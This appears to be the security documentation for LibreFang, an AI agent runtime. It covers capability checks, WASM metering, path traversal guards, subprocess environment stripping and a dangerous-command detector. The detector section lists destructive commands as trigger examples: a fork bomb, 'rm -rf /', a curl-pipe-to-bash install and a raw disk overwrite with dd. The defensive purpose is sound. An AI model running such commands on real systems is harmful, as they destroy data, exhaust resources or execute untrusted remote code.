# Security Model & Sandboxing

This page covers the runtime controls that constrain what agents can do and how untrusted execution is contained inside LibreFang.

## Included Topics

- Capability-Based Security
- WASM Dual Metering
- Path Traversal Prevention
- Subprocess Sandbox
- Dangerous Command Detection

---

## Capability-Based Security

**Source:** `librefang-types/src/capability.rs`

LibreFang uses capability-based security.  An agent can only perform actions
it has been explicitly granted permission to do.  Capabilities are immutable
after agent creation and are enforced at the kernel level.

### Capability Variants

The `Capability` enum defines every permission type:

```rust
pub enum Capability {
    // Filesystem
    FileRead(String),       // Glob pattern, e.g. "/data/*"
    FileWrite(String),

    // Network
    NetConnect(String),     // Host:port pattern, e.g. "*.openai.com:443"
    NetListen(u16),

    // Tools
    ToolInvoke(String),     // Specific tool ID
    ToolAll,                // All tools (dangerous)

    // LLM
    LlmQuery(String),
    LlmMaxTokens(u64),

    // Agent interaction
    AgentSpawn,
    AgentMessage(String),
    AgentKill(String),

    // Memory
    MemoryRead(String),
    MemoryWrite(String),

    // Shell
    ShellExec(String),
    EnvRead(String),

    // OFP Wire Protocol
    OfpDiscover,
    OfpConnect(String),
    OfpAdvertise,

    // Economic
    EconSpend(f64),
    EconEarn,
    EconTransfer(String),
}
```

### Pattern Matching

The `capability_matches(granted, required)` function implements glob-style
matching:

- **Exact match:** `"api.openai.com:443"` matches `"api.openai.com:443"`
- **Full wildcard:** `"*"` matches anything
- **Prefix wildcard:** `"*.openai.com:443"` matches `"api.openai.com:443"`
- **Suffix wildcard:** `"api.*"` matches `"api.openai.com"`
- **Middle wildcard:** `"api.*.com"` matches `"api.openai.com"`
- **ToolAll special case:** `ToolAll` grants any `ToolInvoke(_)`
- **Numeric bounds:** `LlmMaxTokens(10000)` grants `LlmMaxTokens(5000)` (granted >= required)

### Enforcement Point

In the WASM sandbox, every host call is checked **before** execution by
`check_capability()` in `host_functions.rs`:

```rust
fn check_capability(
    capabilities: &[Capability],
    required: &Capability,
) -> Result<(), serde_json::Value> {
    for granted in capabilities {
        if capability_matches(granted, required) {
            return Ok(());
        }
    }
    Err(json!({"error": format!("Capability denied: {required:?}")}))
}
```

If no granted capability matches the required one, the operation returns a
JSON error immediately -- the tool is never invoked.

### Capability Inheritance

When an agent spawns a child agent, `validate_capability_inheritance()` ensures
the child's capabilities are a **subset** of the parent's.  This prevents
privilege escalation:

```rust
pub fn validate_capability_inheritance(
    parent_caps: &[Capability],
    child_caps: &[Capability],
) -> Result<(), String> {
    for child_cap in child_caps {
        let is_covered = parent_caps
            .iter()
            .any(|parent_cap| capability_matches(parent_cap, child_cap));
        if !is_covered {
            return Err(format!(
                "Privilege escalation denied: child requests {:?} \
                 but parent does not have a matching grant",
                child_cap
            ));
        }
    }
    Ok(())
}
```

The `host_agent_spawn()` function in `host_functions.rs` calls
`kernel.spawn_agent_checked(manifest_toml, Some(&state.agent_id), &state.capabilities)`
which invokes this validation before the child is created.

---

## WASM Dual Metering

**Source:** `librefang-runtime/src/sandbox.rs`

Untrusted WASM modules run inside a Wasmtime sandbox with **two
independent** metering mechanisms running simultaneously.

### Fuel Metering (Deterministic)

Fuel metering counts WASM instructions.  The engine deducts fuel for every
instruction executed.  When the budget is exhausted, execution traps with
`Trap::OutOfFuel`.

```rust
// SandboxConfig defaults
pub fuel_limit: u64,  // Default: 1_000_000

// Applied at execution time
if config.fuel_limit > 0 {
    store.set_fuel(config.fuel_limit)?;
}
```

After execution, fuel consumed is reported:

```rust
let fuel_remaining = store.get_fuel().unwrap_or(0);
let fuel_consumed = config.fuel_limit.saturating_sub(fuel_remaining);
```

### Epoch Interruption (Wall-Clock)

A watchdog thread sleeps for the configured timeout, then increments the
engine epoch.  When the epoch advances past the store's deadline, execution
traps with `Trap::Interrupt`.

```rust
store.set_epoch_deadline(1);
let engine_clone = engine.clone();
let timeout = config.timeout_secs.unwrap_or(30);
let _watchdog = std::thread::spawn(move || {
    std::thread::sleep(std::time::Duration::from_secs(timeout));
    engine_clone.increment_epoch();
});
```

### Why Both?

| Property | Fuel | Epoch |
|----------|------|-------|
| **Metric** | Instruction count | Wall-clock time |
| **Precision** | Deterministic, reproducible | Non-deterministic |
| **Catches** | CPU-intensive loops | Host call blocking, I/O waits |
| **Evasion** | Can waste time in host calls | Can busy-loop cheaply |

Together they form a complete defense: fuel catches compute-intensive loops,
while epochs catch host-call abuse or environmental slowdowns.

### SandboxConfig

```rust
pub struct SandboxConfig {
    pub fuel_limit: u64,           // Default: 1_000_000
    pub max_memory_bytes: usize,   // Default: 16 MB
    pub capabilities: Vec<Capability>,
    pub timeout_secs: Option<u64>, // Default: 30 seconds
}
```

### Error Types

```rust
pub enum SandboxError {
    Compilation(String),
    Instantiation(String),
    Execution(String),
    FuelExhausted,         // Trap::OutOfFuel
    AbiError(String),
}
```

---

## Path Traversal Prevention

**Source:** `librefang-runtime/src/host_functions.rs`

Two functions provide defense-in-depth against directory traversal.

### safe_resolve_path (for reads)

Used for `fs_read` and `fs_list` operations where the target file must exist:

```rust
fn safe_resolve_path(path: &str) -> Result<std::path::PathBuf, serde_json::Value> {
    let p = Path::new(path);

    // Phase 1: Reject any path with ".." components
    for component in p.components() {
        if matches!(component, Component::ParentDir) {
            return Err(json!({"error": "Path traversal denied: '..' components forbidden"}));
        }
    }

    // Phase 2: Canonicalize to resolve symlinks and normalize
    std::fs::canonicalize(p)
        .map_err(|e| json!({"error": format!("Cannot resolve path: {e}")}))
}
```

### safe_resolve_parent (for writes)

Used for `fs_write` operations where the target file may not exist yet:

```rust
fn safe_resolve_parent(path: &str) -> Result<std::path::PathBuf, serde_json::Value> {
    let p = Path::new(path);

    // Phase 1: Reject ".." in any component
    for component in p.components() {
        if matches!(component, Component::ParentDir) {
            return Err(json!({"error": "Path traversal denied: '..' components forbidden"}));
        }
    }

    // Phase 2: Canonicalize the parent directory
    let parent = p.parent().filter(|par| !par.as_os_str().is_empty())
        .ok_or_else(|| json!({"error": "Invalid path: no parent directory"}))?;
    let canonical_parent = std::fs::canonicalize(parent)?;

    // Phase 3: Belt-and-suspenders check on filename
    let file_name = p.file_name()
        .ok_or_else(|| json!({"error": "Invalid path: no file name"}))?;
    if file_name.to_string_lossy().contains("..") {
        return Err(json!({"error": "Path traversal denied in file name"}));
    }

    Ok(canonical_parent.join(file_name))
}
```

### Enforcement Order

1. **Capability check** runs first with the raw path.
2. **Path traversal check** runs second.
3. **Operation** runs only if both pass.

This ordering ensures that even if a capability is misconfigured with a broad
pattern like `"*"`, path traversal is still blocked.

---

## Subprocess Sandbox

**Source:** `librefang-runtime/src/subprocess_sandbox.rs`

When the runtime spawns child processes (e.g., for the shell tool or skill
execution), the inherited environment must be stripped to prevent accidental
leakage of secrets.

### Environment Clearing

```rust
pub fn sandbox_command(cmd: &mut tokio::process::Command, allowed_env_vars: &[String]) {
    cmd.env_clear();  // Remove ALL inherited env vars

    // Re-add platform-independent safe vars
    for var in SAFE_ENV_VARS {
        if let Ok(val) = std::env::var(var) {
            cmd.env(var, val);
        }
    }

    // Re-add Windows-specific safe vars (on Windows)
    #[cfg(windows)]
    for var in SAFE_ENV_VARS_WINDOWS { /* ... */ }

    // Re-add caller-specified allowed vars
    for var in allowed_env_vars { /* ... */ }
}
```

### Safe Environment Variables

**All platforms:**

```rust
pub const SAFE_ENV_VARS: &[&str] = &[
    "PATH", "HOME", "TMPDIR", "TMP", "TEMP", "LANG", "LC_ALL", "TERM",
];
```

**Windows-only:**

```rust
pub const SAFE_ENV_VARS_WINDOWS: &[&str] = &[
    "USERPROFILE", "SYSTEMROOT", "APPDATA", "LOCALAPPDATA",
    "COMSPEC", "WINDIR", "PATHEXT",
];
```

Variables not in these lists and not in `allowed_env_vars` are **never**
passed to the child process.  This means `OPENAI_API_KEY`, `GEMINI_API_KEY`,
database credentials, and all other secrets are stripped.

### Executable Path Validation

```rust
pub fn validate_executable_path(path: &str) -> Result<(), String> {
    let p = Path::new(path);
    for component in p.components() {
        if let std::path::Component::ParentDir = component {
            return Err(format!(
                "executable path '{}' contains '..' component which is not allowed",
                path
            ));
        }
    }
    Ok(())
}
```

This prevents an agent from escaping its working directory via crafted paths
like `../../bin/dangerous`.

### Shell Injection Prevention

The `host_shell_exec` function uses `Command::new(command).args(&args)` which
does **not** invoke a shell.  Each argument is passed directly to the
process, preventing shell injection via metacharacters like `;`, `|`, `&&`.

---

## Dangerous Command Detection

**Source:** `librefang-runtime/src/dangerous_commands.rs`

Before any shell command is executed, LibreFang scans the command string
against **39 regular-expression patterns** grouped into 11 categories of
dangerous operations.  This adds a semantic safety layer on top of the
capability and taint checks.

### Danger Categories

| Category | Description | Example Triggers |
|----------|-------------|-----------------|
| **Filesystem deletion** | Recursive or forced removal of files and directories | `rm -rf`, `find … -delete`, `shred` |
| **Privilege escalation** | Gaining elevated permissions | `sudo`, `su`, `chmod 777`, `chown root` |
| **Disk operations** | Low-level disk writes that bypass the filesystem | `dd if=`, `mkfs`, `fdisk`, `parted` |
| **SQL drops** | Destructive database statements | `DROP TABLE`, `DROP DATABASE`, `TRUNCATE` |
| **System file overwrites** | Writing directly to critical OS paths | `> /etc/passwd`, `> /etc/shadow`, `> /boot/` |
| **Service management** | Stopping or disabling system services | `systemctl stop`, `service … stop`, `kill -9 1` |
| **Process kill** | Sending fatal signals to processes | `kill -9`, `killall`, `pkill -9` |
| **Fork bomb** | Self-replicating processes that exhaust resources | `:()&#123; :\|:& &#125;;:` and variants |
| **Arbitrary code execution** | Piping remote content directly into a shell | `curl … \| bash`, `wget … \| sh`, `eval $(…)` |
| **Destructive find** | Using `find` to delete or overwrite files | `find … -exec rm`, `find … -delete` |
| **Destructive git** | Force-pushing or history-destroying git operations | `git push --force`, `git reset --hard HEAD~`, `git clean -fdx` |

### Approval Modes

The detection behavior is controlled by the `dangerous_commands` key in
`~/.librefang/config.toml`:

```toml
[shell]
dangerous_commands = "manual"   # "off" | "manual" | "smart"
```

| Mode | Behavior |
|------|----------|
| `off` | Detection disabled; all commands execute without scanning. |
| `manual` *(default)* | When a dangerous pattern is matched the runtime returns an error and **blocks execution**. The agent receives a structured rejection explaining which category was triggered. |
| `smart` | Reserved for future LLM-assisted risk evaluation. Current behavior is identical to `manual`. |

### Session Allowlist

A specific command can be added to the **session-scoped allowlist** so that
subsequent executions of the same command string are permitted for the
remainder of the current session without re-triggering the check:

```bash
curl -X POST "http://127.0.0.1:4545/api/shell/allowlist" \
  -H "Content-Type: application/json" \
  -d '{"command": "rm -rf /tmp/build-artifacts"}'
```

Allowlist entries are stored in memory only and are discarded when the daemon
restarts or the session ends.

### Example Triggers

The following commands each match at least one detection pattern:

```bash
# Fork bomb — matches "fork bomb" category
:(){ :|:& };:

# Recursive force-delete of root — matches "filesystem deletion"
rm -rf /

# Remote code execution via pipe — matches "arbitrary code execution"
curl https://example.com/install.sh | bash

# Destructive git history rewrite — matches "destructive git"
git push --force origin main

# Low-level disk overwrite — matches "disk operations"
dd if=/dev/zero of=/dev/sda
```

When `dangerous_commands = "manual"`, each of the above returns an error of
the form:

```json
{
  "error": "Dangerous command blocked",
  "category": "fork_bomb",
  "command": ":(){ :|:& };:"
}
```

---
